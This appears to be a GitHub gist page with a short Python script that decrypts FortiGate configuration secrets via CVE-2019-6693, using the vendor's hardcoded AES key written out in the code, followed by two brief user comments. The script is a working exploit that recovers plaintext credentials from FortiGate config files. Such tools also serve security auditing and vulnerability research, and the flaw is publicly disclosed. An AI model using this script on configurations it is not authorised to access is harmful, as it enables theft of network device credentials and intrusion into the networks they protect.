Skip to content

Instantly share code, notes, and snippets.

@gquere
Last active August 15, 2023 17:27
Show Gist options
  • Save gquere/4c711f0c3590ed843bc9ba0bdacc04e6 to your computer and use it in GitHub Desktop.
Save gquere/4c711f0c3590ed843bc9ba0bdacc04e6 to your computer and use it in GitHub Desktop.
Decrypt FortiGate configuration secrets CVE-2019-6693
#!/usr/bin/env python3
from Cryptodome.Cipher import AES
import base64
import sys
key = b'Mary had a littl'
data = base64.b64decode(sys.argv[1])
iv = data[0:4] + b'\x00' * 12
ct = data[4:]
cipher = AES.new(key, iv=iv, mode=AES.MODE_CBC)
pt = cipher.decrypt(ct)
print(pt)
@ozymandias2121
Copy link

Can you help me decrypt a key I am not familiar with python?

@gquere
Copy link
Author

gquere commented May 17, 2023

Can you help me decrypt a key I am not familiar with python?

what?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment